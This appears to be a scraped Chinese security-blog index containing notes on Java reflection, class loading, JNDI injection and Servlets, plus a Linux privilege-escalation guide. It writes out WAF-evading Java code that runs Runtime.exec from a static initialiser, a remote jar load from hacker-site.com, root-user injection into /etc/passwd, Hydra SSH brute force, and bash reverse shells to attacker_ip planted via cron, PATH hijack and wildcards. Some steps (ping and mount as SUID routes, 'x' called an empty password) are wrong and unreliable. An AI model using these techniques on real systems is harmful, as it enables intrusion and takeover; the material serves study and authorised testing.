style=\"color:#a6e22e\"\u003erender\u003c/span\u003e() { ... }\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e还有一些轮番图片等\u003c/p\u003e","title":"JS"},{"content":"JAVA 反射 什么是java的反射 java反射就是在程序运行状态中，能够知道任何一个类的所有属性和方法，并且能够调用这些属性和方法的功能\n正向 VS 反向 正向流程： 导入类 \u0026ndash;\u0026gt; new对象 \u0026ndash;\u0026gt; 调用对象\nUser user = new User(); user.login(); 如果类不存在就报错\n**反向流程：**拿到字符串类名 \u0026ndash;\u0026gt; 让JVM去找这个类 \u0026ndash;\u0026gt; 强行拆解这个类 \u0026ndash;\u0026gt; 调用里面的东西\nClass.forName(\u0026#34;com.User\u0026#34;).getMethod(\u0026#34;login\u0026#34;).invoke(obj); 动态加载类，即使编译时类还没有也能运行\n类加载机制 什么是类加载 java代码进行编译后就是.class文件（字节码），类加载就是把这些二进制数据读进内存，解析并生成一个java.lang.Class对象的过程\n类加载的三个阶段 Loading（加载） 读取字节流，不执行代码 Linking（链接） 分为验证，准备，解析。 一般不执行代码 lnitialization(初始化) 执行静态代码块，静态变量的赋值动作 两种攻击方式： 例子： class Evil { // 1. 静态变量赋值 public static int a = runCommand(); // 2. 静态代码块 static { System.out.println(\u0026#34;静态代码块被执行了\u0026#34;); } public static int runCommand() { System.out.println(\u0026#34;静态变量赋值触发了恶意方法！\u0026#34;); return 1; } } 会会先执行赋值，然后是静态代码块。因为初始化执行的顺序是 “静态变量赋值” 和 “静态代码块”\n绕WAF： WAF或者代码扫描工具会盯着static ()这种特征。可以使用将恶意逻辑隐藏在静态变量赋值中：\npublic class SneakyEvil { // 看起来只是一个普通的变量定义 // 但实际上，getRuntime() 会在类初始化时立即执行 public static Process p = Runtime.getRuntime().exec(\u0026#34;calc.exe\u0026#34;); // 没有 static {} 代码块，扫描工具可能漏报 } 只要初始化就会执行，不需要实例化\n审计判断：\n判断 Class.forName(\u0026quot;TargetClass\u0026quot;) 是否危险时，要检查 TargetClass 里：\n有没有 static { ... } 且里面有危险代码？ 有没有 static Type var = dangerousMethod(); 这种赋值操作？ 双亲委派模型 为了保证恶意类不会被加载\nBootstrap ClassLoader（启动类 加载器）： 负责加载JDK核心库 Extension ClassLoader (扩展类 加载器) ： 负责加载JDK扩展目录（jre/lib/ext）下的包 App/System ClassLoader（应用类 加载器）； 负责加载写的代码 那怎么进行绕过呢 有以下几个方法\nURLClassLoader\njava允许远程加载类\n// 攻击者可控的 URL URL url = new URL(\u0026#34;http://hacker-site.com/malicious.jar\u0026#34;); URLClassLoader loader = new URLClassLoader(new URL[]{url}); Class\u0026lt;?\u0026gt; evil = loader.loadClass(\u0026#34;Exploit\u0026#34;); // 远程加载木马 evil.newInstance(); // 执行 defineClass\nClassLoader 中最底层的方法（protected）。它接受一个 byte[] 数组，直接把它变成 Class 对象。\n像冰蝎，哥斯拉等webshell工具，通过HTTP POST发送一段加密的字节码，服务端被植入的webshell会调用defineClass将字节码转换成内存中的类运行\n线程上下文类加载器\n有些框架（如 Tomcat, Spring）为了实现热部署，破坏了双亲委派模型（自己优先加载，找不到再给父类）。\n这种机制有时会导致“类加载隔离失效”，或者被利用来加载 WEB-INF 下的敏感类\n动态代理 什么是代理： 为其他对象提供一种代理以便控制对这个对象的访问（所谓控制，就是可以在其调用行为前后分别加入一些操作）\n代理模式分类： 静态代理，实质是类的继承或接口的实现 动态代理（jdk动态代理），发生反序列化漏洞的地方 cglib动态代理 注：简单讲解一下静态代理，如某个程序员读源码发现某个地方可以增强, 比如某个函数执行前或执行后应该做一些操作，直接修改原有代码容易出错。 做法就是自己实现一个类，和原始类相同，通过在方法中引用老程序的方法来实现自己的方法，从而实现在不改动源代码的基础上达到增强方法的目的\n动态代理 静态代理模式有个问题，当类方法数量越来越多，代理类的代码量是十分庞大的\n所以引入动态代理解决这个问题，动态代理的动态在于，他不是在代码中写死的，而是通过反射机制动态生成的\nJDK动态代理的两个核心类 java.lang.reflect.Proxy 生成代理对象 java.lang.reflect.InvocationHandler所有对代理对象的方法调用，都会被转发到invoke方法 如何审计 查找 InvocationHandler 的实现类：\n看看哪些类实现了这个接口。 重点看 invoke 方法体： 里面有没有危险操作？有没有把 method.invoke 的参数放得太宽？ 查找 Proxy.newProxyInstance：\n生成的代理对象流向了哪里？ 如果它被转换成了某个接口，并传入了敏感流程（如权限校验、文件操作），攻击者可能通过代理绕过校验。 反序列化入口 (readObject)：\n如果在 readObject 中对某个字段调用了方法，而这个字段是可以被反序列化控制的，那么攻击者可以传入一个动态代理，把这个方法调用“重定向”到任意位置。 JNDI和RMI/LDAP RMI （远程方法调用） 是 Java 的一种 RPC（远程过程调用）机制。 简单来说，它允许A 机器上的 Java 程序，去调用 B 机器上的对象方法，就像调用本地方法一样简单。\n本地调用： User user = new User(); user.sayHello(); RMI 调用： User user = (User) registry.lookup(\u0026quot;User\u0026quot;); user.sayHello(); 工作的三个角色： Stub (存根)： 客户端的代理对象（类似动态代理）。它负责把请求打包（序列化）并发给服务端。\nSkeleton (骨架)： 服务端的监听器。它负责接收数据包，解包（反序列化），调用真正的服务端代码，再把结果返回给客户端。\nRegistry (注册中心)： 像一个电话本。服务端把对象绑定 (bind) 到一个名字上，客户端去查找 (lookup) 这个名字。\nLDAP（轻量级目录访问协议） 一个通用的目录服务协议\n因为 Java 的 JNDI 接口支持 LDAP 协议，而且 LDAP 允许在条目中存储 Java 对象数据\nLDAP注入 LDAP除了能返回数据，还可以返回：\n序列化对象： 返回base64后的二进制，客户端你拿到后自动反序列化 JNDI引用： 返回URL。 这也是Log4j漏洞的根源 JNDI (java命名和目录接口) Java 搞的一套统一接口。它的初衷是让你可以用统一的方式去查找资源（对象、配置、数据库连接）。\n但是方便就意味着不安全著名的 JNDI注入就出现在此.\nJNDI 支持一种引用机制，当查找对象时候对象在本地找不到就会去远程下载\nJDK 不同版本 **JDK \u0026lt; 8u121：**RMI 和 LDAP 都允许加载远程代码，直接 RCE。\nJDK 8u121 ~ 8u191：\ncom.sun.jndi.rmi.object.trustURLCodebase 默认为 false。\n虽然 rmi不能使用，但是还有 LDAP\nJDK \u0026gt; 8u191：\ncom.sun.jndi.ldap.object.trustURLCodebase 也默认为 falseLDAP也不能使用。\n但是这并不意味着安全，还有很多绕过的方法，水平有限不过多讲解\nJAVA WEB 应用 Java Web 应用是基于 Java 技术开发，运行在 Web 服务器或 Servlet 容器上的动态网站或在线服务。\n由三个部分组成： 静态资源： \u0026hellip;.\n动态组件: Servlet、Filter、Interceptor、Listener。它们负责处理逻辑、拦截请求、保护安全。\n配置文件: 老项目：web.xml 新项目（spring boot）： application.yml 或纯 Java 代码配置\n运行环境 Java Web 程序不能像普通的 .exe 一样双击运行，它需要一个**“容器”**（也叫 Web 中间件）。\n常见的容器：Tomcat、Jetty、JBoss、WebLogic。\n容器的作用：\n监听网络端口（如 8080） 接收 HTTP 请求 把请求翻译成 Java 对象（HttpServletRequest） 交给你的代码（Servlet/Filter）去处理 listener 监听启动 当 Web 应用启动时，Servlet 容器会调用此方法。\n你可以在这里编写初始化代码，比如加载配置文件、初始化数据库连接池、启动后台任务等。\n这是 Web 应用的“入口”钩子方法。\n方法\npublic void contextInitialized(ServletContextEvent sce) 参数 ServletContextEvent sce 提供对 ServletContext （应用上下文）的访问。\npublic void contextInitialized(ServletContextEvent sce) { System.out.println(\u0026#34;AppListener.contextInitialized\u0026#34;); } 监听关闭 当 Web 应用关闭或被卸载时，Servlet 容器会调用此方法。 你可以在这里释放资源，比如关闭数据库连接池、停止后台线程、清理缓存等。 是 Web 应用关闭时的清理钩子。 方法\npublic void contextDestroyed(ServletContextEvent sce) 参数 ServletContextEvent sce 提供对 ServletContext 的访问。\npublic void contextDestroyed(ServletContextEvent sce) { System.out.println(\u0026#34;AppListener.contextDestroyed\u0026#34;); } FIlter Filter 是 Java Servlet 规范中的一个接口，允许你在请求到达 Servlet 之前或响应发送给客户端之前，进行拦截和\n处理。\n过滤器通常用于实现统一日志记录、权限校验、编码设置、请求修改、响应压缩等功能。\n过滤器可以链式调用，一个请求可以经过多个过滤器。\n1.初始化时调用的方法\n作用\ninit(FilterConfig config) 是 Filter 初始化时调用的方法。 容器创建 Filter 实例后，会调用此方法来完成初始化工作。 你可以在这里读取配置参数、初始化资源或做其他准备。 方法\npublic void init(FilterConfig config) throws ServletException 参数 FilterConfig config 是过滤器配置对象，提供了访问过滤器初始化参数和 ServletContext 的方法。 ServletException 是初始化失败时可以抛出的异常。 @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println(\u0026#34;XssFilter.init\u0026#34;); } 2.核心过滤方法，处理请求和响应，决定是否放行请求\n作用\ndoFilter() 是过滤器中最重要的方法，每当请求匹配到该过滤器时，都会调用它。 它负责对请求进行预处理、调用链中下一个过滤器或目标资源（Servlet、JSP等），然后对响应进行后处理。 可以控制请求是否继续传递，或者直接拦截请求并返回响应。 方法\npublic void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException ServletRequest req ：封装客户端请求信息。 ServletResponse resp ：用于发送响应数据。 FilterChain chain ：过滤器链对象，负责将请求传递给下一个过滤器或目标资源。 @WebFilter(\u0026#34;/*\u0026#34;) public class EncodingFilter implements Filter { @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { // 1. 预处理：设置请求和响应编码为 UTF-8 // 注意：原代码中的单个斜杠 \u0026#34;/\u0026#34; 是错误的，Java 注释需使用 \u0026#34;//\u0026#34; request.setCharacterEncoding(\u0026#34;UTF-8\u0026#34;); response.setCharacterEncoding(\u0026#34;UTF-8\u0026#34;); System.out.println(\u0026#34;EncodingFilter: 请求进入，设置编码\u0026#34;); // 2. 放行请求 // 调用 chain.doFilter 将请求传递给过滤链的下一个组件（下一个 Filter 或 Servlet） chain.doFilter(request, response); // 3. 后处理逻辑 // 在目标 Servlet 处理完业务并准备返回响应时执行 System.out.println(\u0026#34;EncodingFilter: 响应返回，后处理完成\u0026#34;); } // 注意：根据接口规范，虽然 Java 8 后不强制，但建议保留 init 和 destroy 方法的空实现 @Override public void init(FilterConfig filterConfig) throws ServletException {} @Override public void destroy() {} } 3.销毁\n作⽤\ndestroy() 是容器在卸载 Servlet 或 Filter 实例之前调用的方法。 用来释放资源、关闭连接、停止线程等，做清理工作。 只会被调用一次。 ⽅法\npublic void destroy() 无参数，无返回值。\n不允许抛出异常。\n@Override public void destroy() { //关闭数据库连接 if (dbConnection != null) { try { dbConnection.close(); } catch (SQLException e) { e.printStackTrace(); } } System.out.println(\u0026#34;资源已释放，Servlet/Filter 销毁\u0026#34;); } Servlet 容器 容器启动阶段 当你启动 Tomcat 或部署一个 Web 应用时，容器会：\n扫描 web.xml 配置文件或注解（ @WebListener , @WebFilter , @WebServlet ）；\n自动创建 Listener、Filter、Servlet 实例；\n依次调用 Listener 的 contextInitialized() 、Filter 的 init() 和 Servlet 的 init() 方法。\n请求处理阶段 当有 HTTP 请求到达时，容器会：\n根据请求 URL 匹配 Filter 链，自动依次调用每个 Filter 的 doFilter() 方法；\n放行后，调用对应 Servlet 的 service() （或 doGet() / doPost() ）方法；\n响应生成后，Filter 继续进行响应的后处理。\n应用关闭阶段 当你停止 Tomcat 或卸载 Web 应用时，容器会：\n自动调用 Servlet 的 destroy() ；\n调用 Filter 的 destroy() ；\n调用 Listener 的 contextDestroyed() 。\n1. Servlet 初始化 作用\ninit(ServletConfig config) 是 Servlet 初始化方法，容器在创建 Servlet 实例后会调用它。 主要用来完成 Servlet 的初始化工作，比如读取配置参数、准备资源等。 它只会被调用一次。 方法\npublic void init(ServletConfig config) throws ServletException 参数 ServletConfig config 是容器传递给 Servlet 的配置对象，包含该 Servlet 的配置信息（如初始化参数、Servlet 名称、ServletContext 等）。 ServletException 是初始化失败时抛出的异常。 public void init(ServletConfig config) throws ServletException { System.out.println(\u0026#34;HelloServlet.init\u0026#34;); } 2. Servlet 处理客户端请求的核心入口 作用\nservice() 方法是 Servlet 处理客户端请求的核心入口。 容器每接收到一次请求，都会调用 Servlet 的 service() 方法，将请求和响应对象传入。 该方法负责根据请求类型（GET、POST、PUT、DELETE等）分发调用相应的 doGet(), doPost() 等具体处理方法。 方法\npublic void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException HttpServletRequest req ：封装了客户端请求的所有信息，如参数、头信息、请求方法等。 HttpServletResponse resp ：用于向客户端发送响应数据，如响应头、内容等。 抛出 ServletException 和 IOException ，表示处理请求时可能出现的异常。 protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { System.out.println(\u0026#34;HelloServlet.service\u0026#34;); } 3. 客户端通过 HTTP GET 方式发送的请求 作用\ndoGet() 是专门用于处理客户端通过 HTTP GET 方式发送的请求。 浏览器访问一个网址、点击超链接、或者表单使用 GET 方法提交时，服务器调用这个方法。 该方法负责读取请求参数、执行业务逻辑并生成响应内容。 方法\nprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException HttpServletRequest req ：封装请求的所有数据，包括参数、头信息、请求路径等。 HttpServletResponse resp ：用于构建和发送响应，如设置响应头、写出响应体。 抛出 ServletException 和 IOException ，表明请求处理时可能产生的异常。 @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { // 设置响应内容类型和编码 resp.setContentType(\u0026#34;text/html;charset=UTF-8\u0026#34;); // 获取请求参数 String name = req.getParameter(\u0026#34;name\u0026#34;); if (name == null) { name = \u0026#34;访客\u0026#34;; } // 获取响应输出流 PrintWriter out = resp.getWriter(); // 输出HTML内容 out.println(\u0026#34;\u0026lt;html\u0026gt;\u0026lt;body\u0026gt;\u0026#34;); out.println(\u0026#34;\u0026lt;h1\u0026gt;欢迎，\u0026#34; + name + \u0026#34;！\u0026lt;/h1\u0026gt;\u0026#34;); out.println(\u0026#34;\u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt;\u0026#34;); } 工作流程\n容器收到 GET 请求后，调用 Servlet 的 service() 方法。 service() 判断请求方法为 GET，调用 doGet() 。 开发者重写 doGet() ，实现业务逻辑，向响应流写内容。 容器将响应发送回客户端。 4. 客户端通过 HTTP POST 方法发送的请求 作用\ndoPost() 用来处理客户端通过 HTTP POST 方法发送的请求。 POST 请求通常用于提交表单数据、上传文件、发送较大或敏感的数据。 Servlet 接收到 POST 请求时，会调用此方法进行处理。 方法\nprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException 参数 req 封装了请求中的数据（请求体、参数、请求头等）。 参数 resp 用于构建 and 发送响应（设置响应头、状态码、写响应体）。 抛出异常表示处理过程中可能出现的错误。 @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { // 设置请求编码，防止中文乱码 req.setCharacterEncoding(\u0026#34;UTF-8\u0026#34;); // 设置响应内容类型和编码 resp.setContentType(\u0026#34;text/html;charset=UTF-8\u0026#34;); // 从请求体中获取参数 String username = req.getParameter(\u0026#34;username\u0026#34;); String password = req.getParameter(\u0026#34;password\u0026#34;); // 模拟业务处理 PrintWriter out = resp.getWriter(); out.println(\u0026#34;\u0026lt;html\u0026gt;\u0026lt;body\u0026gt;\u0026#34;); if (\u0026#34;admin\u0026#34;.equals(username) \u0026amp;\u0026amp; \u0026#34;123456\u0026#34;.equals(password)) { out.println(\u0026#34;\u0026lt;h1\u0026gt;登录成功，欢迎 \u0026#34; + username + \u0026#34;!\u0026lt;/h1\u0026gt;\u0026#34;); } else { out.println(\u0026#34;\u0026lt;h1\u0026gt;登录失败，用户名或密码错误！\u0026lt;/h1\u0026gt;\u0026#34;); } out.println(\u0026#34;\u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt;\u0026#34;); } 工作流程\n客户端通过 POST 方法发送请求，通常提交表单数据。 容器调用 Servlet 的 service() 方法。 service() 方法检测到请求是 POST，调用 doPost() 。 开发者在 doPost() 中处理请求参数，执行业务逻辑，生成响应。 5. Servlet 被销毁 作用\ndestroy() 方法用于 Servlet 被销毁时执行清理操作。 容器在卸载 Servlet 或关闭应用服务器时调用此方法。 开发者在这里释放占用的资源，如关闭数据库连接、清理缓存、停止线程等。 方法\npublic void destroy() 无参数，无返回值。 不允许抛出异常。 @Override public void destroy() { System.out.println(\u0026#34;HelloServlet.destroy\u0026#34;); } 总结 作用 组件 作用 生命周期管理者 Tomcat Java Web 容器，运行环境 操作系统/自身 Servlet 核心业务处理单元 Tomcat Filter 请求/响应拦截、预处理和后处理 Tomcat Listener 生命周期事件监听和资源管理 Tomcat 流程 Web应用启动 ↓ Listener初始化（contextInitialized） ↓ Filter初始化（init） ↓ Servlet实例化及初始化（init） ↓ 请求到来 ↓ Filter执行请求预处理（doFilter） ↓ Servlet执行业务处理（service/doGet/doPost） ↓ 响应返回，Filter响应后处理 ↓ Web应用关闭 ↓ Servlet销毁（destroy） ↓ Filter销毁（destroy） ↓ Listener销毁（contextDestroyed） ","permalink":"https://h4xk0r.github.io/posts/java%E5%9F%BA%E7%A1%80/","summary":"\u003ch3 id=\"java-反射\"\u003eJAVA 反射\u003c/h3\u003e\n\u003ch5 id=\"什么是java的反射\"\u003e什么是java的反射\u003c/h5\u003e\n\u003cp\u003ejava反射就是在程序运行状态中，能够知道任何一个类的所有属性和方法，并且能够调用这些属性和方法的功能\u003c/p\u003e\n\u003ch5 id=\"正向-vs-反向\"\u003e正向 VS 反向\u003c/h5\u003e\n\u003cp\u003e\u003cstrong\u003e正向流程：\u003c/strong\u003e 导入类 \u0026ndash;\u0026gt; \u003ccode\u003enew\u003c/code\u003e对象 \u0026ndash;\u0026gt; 调用对象\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eUser user = new User(); user.login();\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e如果类不存在就报错\u003c/p\u003e\n\u003cp\u003e**反向流程：**拿到字符串类名 \u0026ndash;\u0026gt; 让JVM去找这个类 \u0026ndash;\u0026gt; 强行拆解这个类 \u0026ndash;\u0026gt;  调用里面的东西\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eClass.forName(\u0026#34;com.User\u0026#34;).getMethod(\u0026#34;login\u0026#34;).invoke(obj);\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e动态加载类，即使编译时类还没有也能运行\u003c/p\u003e\n\u003ch3 id=\"类加载机制\"\u003e类加载机制\u003c/h3\u003e\n\u003ch5 id=\"什么是类加载\"\u003e什么是类加载\u003c/h5\u003e\n\u003cp\u003ejava代码进行编译后就是\u003ccode\u003e.class\u003c/code\u003e文件（字节码），类加载就是把这些二进制数据读进内存，解析并生成一个\u003ccode\u003ejava.lang.Class\u003c/code\u003e对象的过程\u003c/p\u003e\n\u003ch5 id=\"类加载的三个阶段\"\u003e类加载的三个阶段\u003c/h5\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eLoading（加载） 读取字节流，不执行代码\nLinking（链接） 分为验证，准备，解析。 一般不执行代码\nlnitialization(初始化) 执行静态代码块，静态变量的赋值动作\n\u003c/code\u003e\u003c/pre\u003e\u003ch6 id=\"两种攻击方式\"\u003e两种攻击方式：\u003c/h6\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-java\" data-lang=\"java\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e例子\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e：\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eclass\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eEvil\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e// 1. 静态变量赋值\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003epublic\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003estatic\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e a \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e runCommand(); \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e// 2. 静态代码块\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003estatic\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        System.\u003cspan style=\"color:#a6e22e\"\u003eout\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eprintln\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;静态代码块被执行了\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003epublic\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003estatic\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003erunCommand\u003c/span\u003e() {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        System.\u003cspan style=\"color:#a6e22e\"\u003eout\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eprintln\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;静态变量赋值触发了恶意方法！\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e 1;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e会会先执行赋值，然后是静态代码块。因为初始化执行的顺序是 “静态变量赋值” 和 “静态代码块”\u003c/p\u003e","title":"Java基础"},{"content":"常规提权方式 一、sudo滥用提权 sudo -l提示要输入密码的原因:\n默认SUDO行为 : 需要输入当前用户的密码(不是root)密码\nsudoers配置问题: 未配置免密码访问 在/etc/sudoers文件中没有为当前用户配置NOPASSWD选项\n配置覆盖问题: 用户组覆盖了用户配置,可能被添加到了wheel用户组\n检查当前用户所在组 id username 如果发现在wheel组中,检查wheel组的配置\n查看%wheel相关配置,看是否设置了NOPASSWD或要求密码\nsudo visudo 从wheel组中移除用户\nsudo gpasswd -d username wheel 利用步骤： 查看当前用户sudo权限：\nsudo -l 示例输出：(ALL) NOPASSWD: /usr/bin/vim 利用vim提权：\nsudo /usr/bin/vim 在vim中输入 :set shell=/bin/bash 回车 然后输入 :shell 回车 成功获得root shell 利用其他命令提权：\n如果发现可以执行/usr/bin/nano：\nsudo /usr/bin/nano 在nano中按Ctrl+R，输入!bash，回车 即可获得root shell 说明： sudo配置不当，允许用户以root身份执行特定命令，而无需密码验证。\n二、SUID特殊权限提权 利用步骤： 查找SUID文件：\nfind / -perm -u=s -type f 2\u0026gt;/dev/null 利用/bin/mount提权：\nmkdir /tmp/mount touch /tmp/mount/malicious_file sudo /bin/mount -o bind /tmp/mount /tmp/mount sudo /bin/mount /tmp/mount /tmp/mount 通过此方式可获取root权限 利用/bin/ping提权：\nping -c 1 127.0.0.1 通过特殊参数（如-c）触发SUID权限 说明： SUID（Set User ID）是文件权限中的一种特殊权限，使执行该文件的用户拥有文件所有者的权限。\n三、passwd文件提权 利用步骤： 查看/etc/passwd文件：\ncat /etc/passwd 查找密码字段为空的用户：\n例如：nobody:x:65534:65534::/home/nobody:/bin/false\n如果密码字段为空（x），则可以直接切换到该用户：\nsu nobody 通过修改/etc/passwd文件提权的详细说明 通过修改/etc/passwd文件写入一个新用户是Linux系统中一种有效的提权方式。这是基于系统配置错误（权限配置不当）的提权方法。 如果/etc/passwd文件中存在密码字段为空的用户，可以直接切换到该用户，无需密码。\n一、提权条件 必须拥有对/etc/passwd文件的写权限（通常只有root用户有写权限） 系统配置错误：/etc/passwd文件的权限设置不当，允许普通用户写入 二、提权步骤 步骤1：赋予/etc/passwd文件写权限（如果当前没有权限） sudo chmod 666 /etc/passwd # 或者 chmod 666 /etc/passwd 注意：如果当前用户没有sudo权限，这一步可能无法完成。在实际渗透测试中，通常需要先通过其他方式获得基本权限。\n步骤2：生成加密密码 使用openssl生成加密密码（MD5或SHA512）：\n# 生成MD5加密的密码（-1表示MD5算法） openssl passwd -1 -salt hacker 123456 # 输出示例：$1$hacker$6luIRwdGpBvXdP.GMwcZp/ # 生成SHA512加密的密码（-6表示SHA512算法） openssl passwd -6 -salt hacker 123456 # 输出示例：$6$hacker$5kX3Zc9yqTz8QmR1aW7eJpKqL7zXwYb0vZnUeR9lMxY0pNtA3jQ 注意：如果使用-1（MD5）算法，需要确保openssl版本支持。早期版本可能不支持-6（SHA512）。\n步骤3：构造新用户条目 新用户的格式遵循/etc/passwd文件的格式：\n用户名:加密密码:UID:GID:描述信息:主目录:shell 对于root权限用户，需要设置：\nUID = 0 GID = 0 主目录 = /root（或任意目录，但通常设置为/root） shell = /bin/bash 示例：\nhacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0:Test User:/root:/bin/bash 步骤4：将新用户添加到/etc/passwd文件 echo \u0026#34;hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0:Test User:/root:/bin/bash\u0026#34; \u0026gt;\u0026gt; /etc/passwd # 或者 echo \u0026#34;hacker:$(openssl passwd -1 -salt hacker 123456):0:0:Test User:/root:/bin/bash\u0026#34; \u0026gt;\u0026gt; /etc/passwd 步骤5：切换到新用户 su hacker # 输入密码：123456 此时，你应该已经获得root权限：\nid # 输出应为：uid=0(root) gid=0(root) groups=0(root) 示例流程 # 赋予passwd文件写权限 chmod 666 /etc/passwd # 生成加密密码 openssl passwd -1 -salt hacker 123456 # $1$hacker$6luIRwdGpBvXdP.GMwcZp/ # 添加新用户到passwd文件 echo \u0026#34;hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0:Test User:/root:/bin/bash\u0026#34; \u0026gt;\u0026gt; /etc/passwd # 切换到新用户 su hacker # 输入密码 123456 # 验证权限 id # 输出: uid=0(root) gid=0(root) groups=0(root) 四、shadow文件提权 利用步骤： 查看/etc/shadow文件：\ncat /etc/shadow 查找密码字段为空的用户：\n例如：nobody::18555:0:99999:7:::\n如果密码字段为空（::），则可以直接切换到该用户：\nsu nobody 说明： /etc/shadow文件存储用户密码哈希，如果密码字段为空，表示该用户无需密码即可登录。\n五、SSH登录密码爆破 利用步骤： 使用hydra进行密码爆破：\nhydra -l username -P /usr/share/wordlists/rockyou.txt ssh://target_ip 如果破解成功，使用SSH登录：\nssh username@target_ip 如果获得root权限，直接使用：\n例如：ssh root@target_ip 说明： 通过暴力破解SSH登录密码，获取系统访问权限。\n六、通过计划任务提权 利用步骤： 查看当前用户的crontab：\ncrontab -l 查看系统级cron任务：\nls /etc/cron.* 如果发现可写cron任务：\n创建恶意脚本：\necho \u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/attacker_ip/4444 0\u0026gt;\u0026amp;1\u0026#34; \u0026gt; /tmp/malicious.sh chmod +x /tmp/malicious.sh 修改cron任务，使其执行恶意脚本：\ncrontab -e # 添加一行：*/1 * * * * /tmp/malicious.sh 等待cron任务执行，获取shell：\n通过监听端口获取shell：\nnc -lvnp 4444 说明： 计划任务配置不当，低权限用户能修改计划任务执行的程序。\n七、劫持环境变量提权 利用步骤： 查找可写路径：\nfind / -writable -type d 2\u0026gt;/dev/null 将当前目录添加到PATH：\nexport PATH=/tmp:$PATH 创建恶意命令文件：\necho \u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/attacker_ip/4444 0\u0026gt;\u0026amp;1\u0026#34; \u0026gt; /tmp/ls chmod +x /tmp/ls 执行命令：\nls 系统会优先执行/tmp/ls，获得shell 说明： 通过修改PATH环境变量，使系统优先加载攻击者控制的程序。\n八、利用通配符提权 利用步骤： 查找可写目录：\nfind / -writable -type d 2\u0026gt;/dev/null 创建恶意脚本：\necho \u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/attacker_ip/4444 0\u0026gt;\u0026amp;1\u0026#34; \u0026gt; /tmp/malicious.sh chmod +x /tmp/malicious.sh 创建符号链接：\nln -s /tmp/malicious.sh /tmp/evil 触发通配符执行：\n如果有程序使用*通配符，如ls *，则会执行恶意脚本 说明： 利用程序在处理通配符时的漏洞，使系统执行恶意代码。\n九、内核CVE漏洞提权 利用步骤： 查看系统信息：\nuname -a 查找匹配的CVE漏洞：\n例如：Linux 4.8.0-58-generic #63~16.04.1-Ubuntu 